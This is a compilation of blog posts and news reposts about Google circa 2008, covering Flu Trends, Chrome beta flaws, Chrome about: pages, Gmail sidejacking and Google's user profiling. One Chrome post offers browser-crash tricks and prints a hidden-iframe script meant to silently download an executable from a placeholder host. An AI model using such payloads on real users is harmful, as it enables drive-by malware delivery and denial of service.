• NY Times: Google Uses Searches to Track Flu’s Spread

By MIGUEL HELFT for nytimes.com:

SAN FRANCISCO — There is a new common symptom of the flu, in addition to the usual aches, coughs, fevers and sore throats. Turns out a lot of ailing Americans enter phrases like “flu symptoms” into Google and other search engines before they call their doctors.

That simple act, multiplied across millions of keyboards in homes around the country, has given rise to a new early warning system for fast-spreading flu outbreaks, called Google Flu Trends.

Tests of the new Web tool from Google.org, the company’s philanthropic unit, suggest that it may be able to detect regional outbreaks of the flu a week to 10 days before they are reported by the Centers for Disease Control and Prevention.

In early February, for example, the C.D.C. reported that the flu cases had recently spiked in the mid-Atlantic states. But Google says its search data show a spike in queries about flu symptoms two weeks before that report was released. Its new service at google.org/flutrends analyzes those searches as they come in, creating graphs and maps of the country that, ideally, will show where the flu is spreading.

The C.D.C. reports are slower because they rely on data collected and compiled from thousands of health care providers, labs and other sources. Some public health experts say the Google data could help accelerate the response of doctors, hospitals and public health officials to a nasty flu season, reducing the spread of the disease and, potentially, saving lives.

“The earlier the warning, the earlier prevention and control measures can be put in place, and this could prevent cases of influenza,” said Dr. Lyn Finelli, lead for surveillance at the influenza division of the C.D.C. From 5 to 20 percent of the nation’s population contracts the flu each year, she said, leading to roughly 36,000 deaths on average.

The service covers only the United States, but Google is hoping to eventually use the same technique to help track influenza and other diseases worldwide.

“From a technological perspective, it is the beginning,” said Eric E. Schmidt, Google’s chief executive.

The premise behind Google Flu Trends — what appears to be a fruitful marriage of mob behavior and medicine — has been validated by an unrelated study indicating that the data collected by Yahoo, Google’s main rival in Internet search, can also help with early detection of the flu.

“In theory, we could use this stream of information to learn about other disease trends as well,” said Dr. Philip M. Polgreen, assistant professor of medicine and epidemiology at the University of Iowa and an author of the study based on Yahoo’s data.

Still, some public health officials note that many health departments already use other approaches, like gathering data from visits to emergency rooms, to keeping daily tabs on disease trends in their communities.

“We don’t have any evidence that this is more timely than our emergency room data,” said Dr. Farzad Mostashari, assistant commissioner of the Department of Health and Mental Hygiene in New York City.

If Google provided health officials with details of the system’s workings so that it could be validated scientifically, the data could serve as an additional, free way to detect influenza, said Dr. Mostashari, who is also chairman of the International Society for Disease Surveillance.

A paper on the methodology of Google Flu Trends is expected to be published in the journal Nature.

Researchers have long said that the material published on the Web amounts to a form of “collective intelligence” that can be used to spot trends and make predictions.

But the data collected by search engines is particularly powerful, because the keywords and phrases that people type into them represent their most immediate intentions. People may search for “Kauai hotel” when they are planning a vacation and for “foreclosure” when they have trouble with their mortgage. Those queries express the world’s collective desires and needs, its wants and likes.

Internal research at Yahoo suggests that increases in searches for certain terms can help forecast what technology products will be hits, for instance. Yahoo has begun using search traffic to help it decide what material to feature on its site.

Two years ago, Google began opening its search data trove through Google Trends, a tool that allows anyone to track the relative popularity of search terms. Google also offers more sophisticated search traffic tools that marketers can use to fine-tune ad campaigns. And internally, the company has tested the use of search data to reach conclusions about economic, marketing and entertainment trends.

“Most forecasting is basically trend extrapolation,” said Hal Varian, Google’s chief economist. “This works remarkably well, but tends to miss turning points, times when the data changes direction. Our hope is that Google data might help with this problem.”

Prabhakar Raghavan, who is in charge of Yahoo Labs and the company’s search strategy, also said search data could be valuable for forecasters and scientists, but privacy concerns had generally stopped it from sharing it with outside academics.

Google Flu Trends avoids privacy pitfalls by relying only on aggregated data that cannot be traced to individual searchers. To develop the service, Google’s engineers devised a basket of keywords and phrases related to the flu, including thermometer, flu symptoms, muscle aches, chest congestion and many others.

Google then dug into its database, extracted five years of data on those queries and mapped it onto the C.D.C.’s reports of influenzalike illness. Google found a strong correlation between its data and the reports from the agency, which advised it on the development of the new service.

“We know it matches very, very well in the way flu developed in the last year,” said Dr. Larry Brilliant, executive director of Google.org. Dr. Finelli of the C.D.C. and Dr. Brilliant both cautioned that the data needed to be monitored to ensure that the correlation with flu activity remained valid.

Google also says it believes the tool may help people take precautions if a disease is in their area.

Others have tried to use information collected from Internet users for public health purposes. A Web site called whoissick.org, for instance, invites people to report what ails them and superimposes the results on a map. But the site has received relatively little traffic.

HealthMap, a project affiliated with the Children’s Hospital Boston, scours the Web for articles, blog posts and newsletters to create a map that tracks emerging infectious diseases around the world. It is backed by Google.org, which counts the detection and prevention of diseases as one of its main philanthropic objectives.

But Google Flu Trends appears to be the first public project that uses the powerful database of a search engine to track a disease.

“This seems like a really clever way of using data that is created unintentionally by the users of Google to see patterns in the world that would otherwise be invisible,” said Thomas W. Malone, a professor at the Sloan School of Management at M.I.T. “I think we are just scratching the surface of what’s possible with collective intelligence.”

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• Google Chrome Vulnerabilities list

Less than a week after the release of Google (NSDQ:GOOG)’s new Web browser Chrome, security researchers detected a buffer overflow vulnerability that could enable remote attackers to completely take control of a user’s computer.

The detected buffer overflow vulnerability, deemed critical by security experts, is the result of a boundary error in the handling of the “Save As” function. If a user saves a Web page serving malicious content, the program could cause a stack-based overflow error, which could open the door for remote hackers to unleash malicious code on a user’s machine.

Remote attackers could then exploit the flaw by constructing a specially crafted Web page infused with malicious code. The attacker could then entice a victim to open and then save the infected page, which would subsequently download malicious code onto the victim’s computer and give the attacker complete access to the affected system.

Chrome’s latest buffer overflow vulnerability is one of about half a dozen errors detected in the newly released beta Web browser, about half of which allow for remote code execution, experts say. Another vulnerability, discovered shortly after the browser’s release Tuesday, included a carpetbombing glitch that stemmed from a fundamental flaw in the underlying user agent Safari 3.1.

However experts say that several Chrome beta version flaws are anticipated and will likely be worked out with the final version as the browser is subsequently tested.

“I think for a new product like Chrome, it doesn’t concern me much that they’re discovering the number of vulnerabilities and the details are getting out there. That’s the point of beta, especially open source beta,” said John Bambenek, handler for the SANS Internet Storm Center. “I think that the people who are really into getting exploits on a number of machines are not interested in messing with Chrome until (Google) gets some distribution out there.”

“If it’s not public information, the hackers don’t have it either,” he added.

And despite some errors that could lead to remote exploitation, experts say that because the browser is still in beta and not yet widely adopted, security threats for most users for the time being remains small.

“I don’t think the consumer impact is very large yet,” said Bambenek, “but that could change very quickly.”

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• No Joke: Google Introduces Its Own Browser, With A Cartoon

Rishi Narang has been the first. A Denial Of Service simple as pie:

Just browse this page and place your mouse over this link (make sure you bookmark this page if you want to read on though):

CRASH ME

Just “evil:%” in the anchor text is capable of crashing all the Chrome tabs (despite all the tabs are separated processes).

Someone has also reported that by entering a very long bookmark may kill the browser. Length has not been given but it’s worth a try.

If your Chrome is still alive you may want to try entering

about@:

in the location bar.

Good thing is that the browser doesn’t need Administrator rights to run.

Matt Cutt from his blog has stated that the chapter 11 of Eula will be updated. Yes the chapter about you giving all the rights to Google:

a perpetual, irrevocable, worldwide, royalty-free, and non-exclusive license to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content which you submit, post or display on or through, the Services.

I’m worried about the enthusiastic reviews I see online.
Google brand was enough to push an unfinished product up to make it 1% of the User-Agent’s used on its very first day.
The risk is high, fuzzers are still crunching…

Update:

Another Bug found.
< script > document.write(’< iframe src=”http://www.example.com/hello.exe” frameborder=”0″ width=”0″ height=”0″ >’); < / script >

This script should (I haven’t tested it yet, will do it later) trigger a silent download on the client machine.

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Like most other browsers, Google Chrome has some special pages that show information about memory usage, cached files, plug-ins and more. Here’s a list of the most interesting about: pages available in Google Chrome (you can open them by dragging about:name to the address bar).

1. about:version – Google Chrome shows the version number the browser, WebKit and V8 (JavaScript engine). You can also find the user-agent used by Google Chrome:

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1 Safari/525.19

2. about:plugins – the list of plug-ins that are available in Google Chrome: Shockwave Flash, RealPlayer etc.

3. about:cache – a list of all the web pages cached by Google Chrome. The browser doesn’t have an option to limit the cache’s size, so it’s recommended to regularly empty the cache.

4. about:memory – this pages compares the memory used by all the active browsers and by Google Chrome’s tabs.

5. about:stats – a list of internal counters and timers that has a funny subtitle “Shhh! This page is secret!”.

6. about:histograms – a list of histograms for Google Chrome’s internal metrics.

7. about:dns – Google Chrome prefetches the DNS records for 10 frequently visited hostnames. This feature can be disabled in Options > Under the Hood by unchecking “Use DNS pre-fetching to improve page load performance”.

8. about:network – this page could be used for I/O tracking and it’s a partial replacement for the Live HTTP Headers extension. Click on “Start I/O tracking”, open a web page in a new tab and you’ll get a list of all the images, scripts and objects loaded from that web page.

9. about:crash – crash the active tab. Google Chrome displays the “sad tab” image, followed by this message: “Something went wrong while displaying this webpage. To continue, press Reload or go to another page”.

10. about:hang – type this in the address bar of a tab when there’s already an active web page to hang the process (this means that the process no longer accepts any signal, but it’s still running). The other tabs will continue to work and the active tab can be closed.

11. about:internets – this is an Easter egg that references two popular Internet memes: Internets and Series of tubes. Google Chrome embeds the 3D Pipes screensaver from Windows, so you’ll see it only if you have the file sspipes.scr in C:\Windows\System32.

{ via Tech-Pro.net and reddit. Thanks, Daniel. }

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Shared by natadd

Very important!! You should always use SSL (https://) for Gmail!

A tool that automatically steals IDs of non-encrypted sessions and breaks into Google Mail accounts has been presented at the Defcon hackers’ conference in Las Vegas.

Last week Google introduced a new feature in Gmail that allows users to permanently switch on SSL and use it for every action involving Gmail, and not only, authentication. Users who did not turn it on now have a serious reason to do so as Mike Perry, the reverse engineer from San Francisco who developed the tool is planning to release it in two weeks.

When you log in to Gmail the website sends a cookie (a text file) containing your session ID to the browser. This file makes it possible for the website to know that you are authenticated and keep you logged in for two weeks, unless you manually hit the sign out button. When you hit sign out this cookie is cleared.

Even though when you log in, Gmail forces the authentication over SSL (Secure Socket Layer), you are not secure because it reverts back to a regular unencrypted connection after the authentication is done. According to Google this behavior was chosen because of low-bandwidth users, as SLL connections are slower.

The problem lies with the fact that every time you access anything on Gmail, even an image, your browser also sends your cookie to the website. This makes it possible for an attacker sniffing traffic on the network to insert an image served from http://mail.google.com and force your browser to send the cookie file, thus getting your session ID. Once this happens the attacker can log in to the account without the need of a password. People checking their e-mail from public wireless hotspots are obviously more likely to get attacked than the ones using secure wired networks.

Perry mentioned that he notified Google about this situation over a year ago and even though eventually it made this option available, he is not happy with the lack of information. “Google did not explain why using this new feature was so important” he said. He continued and explained the implications of not informing the users, “This gives people who routinely log in to Gmail beginning with an https:// session a false sense of security, because they think they’re secure but they’re really not.”

If you are logging in to your Gmail account from different locations and you would like to benefit from this option only when you are using unsecured networks, you can force it by manually typing https://mail.google.com before you log in. This will access the SSL version of Gmail and it will be persistent over your entire session and not only during authentication.

Related articles around the web:

• SSL-encrypted Gmail not safe to ’sidejacking’ attacks, says researcher
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• Google gives GMail always-on encryption
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What if the next big thing in search intelligence will not be developed by Google?
As deeply described in this article , Google takes lots of efforts to know and understand its users better by following all their internet activities through various products and services.

But accorcing to real intelligence, like for answering questions, it is way behind optimal results.

Secretly, yet unattended by the media, a start-up company in beta-status developed a stunning search-engine offering right this: Real answers to real questions!

The Cambridge/UK based company [true knowledge] developed a stunning mechanism/algorithm to go far beyond everything seen on search development yet.

In their own words:

Our technology addresses one of the fundamental problems in internet search: namely that computers (unlike humans) cannot understand the content of web pages. As a result, finding information in the early 21st century still involves a process of guessing keywords that may appear in an appropriate web page and hoping that a search engine retrieves

a document with the desired information sufficiently near the top of the list as to be found reasonably quickly. Simply asking a search engine for the desired information in the most natural way possible doesn’t produce a direct response.

Our technology sidesteps this fundamental problem by providing a way for the world’s knowledge to be represented in a form that computers can understand and process, and for ordinary internet users to be able to add to this knowledge base without having to understand how the knowledge is represented.

Here is a video that impresses with some basic examples on their technology:

I signed up as a beta-tester couple of days ago, but did not get any confirmation yet. But still am excited a lot about this site So wish me luck to be accepted for the beta-testing.

• Web 2.0 – Der Film
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• Google Brain
• Epic who? Epic-Fu!

A forecast of how such could look is displayed in this video, showing a kid asking “Google Brain” for a picture of a pizza:

Click here to view the embedded video.

Another approach of Google is to make it possible to suggest individuals what they could possible choose as a job, what shall they do next, which could be suitable friends for them.

How could this be achieved?

Well, if we take a close look on what services Google offers now, all consolidated in a single Google Account, it becomes clear that accomplishing the pre-menitoned task is not so far into the future.

Imagine the following:

• You have set up your Google account.
• Your Google Toolbar automatically logs you in to your account everytime you open your browser.
• You might like to take advantage of the “iGoogle Homepage” and put some Gadgets you like to be displayed upon browser-startup there.

This is already the first step of knowledge Google can link to your personal profile: Which Gadgets you like. This could be stock informations, favorite radio-channels, Quotes of famous people, your notes and much much more.

• Imagine further you use a Gmail-Account for your email. Again, Google can automatically gain a vast portion of information on how and who you interact with, what is important to you, who you and what you chat with and about through your Gtalk integrated in the Gmail account.

• You like to browse blogs? Great! Subscribe them all in your Google Reader! Not only the fact what you subscribe to, but also what you actually click and read from the subscriptions again widens Googles knowledge of you interest

• Another important feature in retrieving user information is the Google Webprotocoll, logging all sites, videos, searches you do. How could you get more exact information on a users interest than with this? Imagine you use Webprotocoll for years, like that the information on your likes and dislikes and your interests is so much detailed, that you can shorten it to one sentence: Google knows you!

This list could be extended a lot with various other Google features:

• Google News can log the news you are interested in
• The ads you click from any Google AdWords display again define your interest more
• Blogspot serves your blogging
• Google Notebook holds you notes on the webpages you visit and file

Could it get any better and more detailed? Yes, it can!

To give Google the complete approach to your profile, you might be using

• Google Apps for your company website, including Google Mail for all your employees
• Google Docs + Spreadsheets for your docs, spreadsheets and presentations

…and it’s just a question of time for more Google Services to come.

The point is: It’s your decision on how much you like to let Google know about you. For me, I made my decision already. I totally trust Google and it’s algorithms and have no problem in letting them know everything about me. I noticed that since using all and more of the services mentioned above, my approach to the internet became much more deep, ending up in discovery of more relevant information.

You gotta decide for yourself!
Note: There is a poll embedded within this post, please visit the site to participate in this post's poll.

• Real search intelligence vs Google Brain
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By inclusion of the immense knowledge of the Google Search Index it empowers users of Google Spreadsheets to do increadible researches at the flick of a switch.

Videos tell more than a thousand words, so see for yourself:

Click here to view the embedded video.

Unfortunatly, untill now I have not been able to reproduce the procedure shown in the video yet, as Google Spreadsheets doesn’t auto-fill the cells like shown in the video.

Anybody got an idea what I am doing wrong?

• Google Brain
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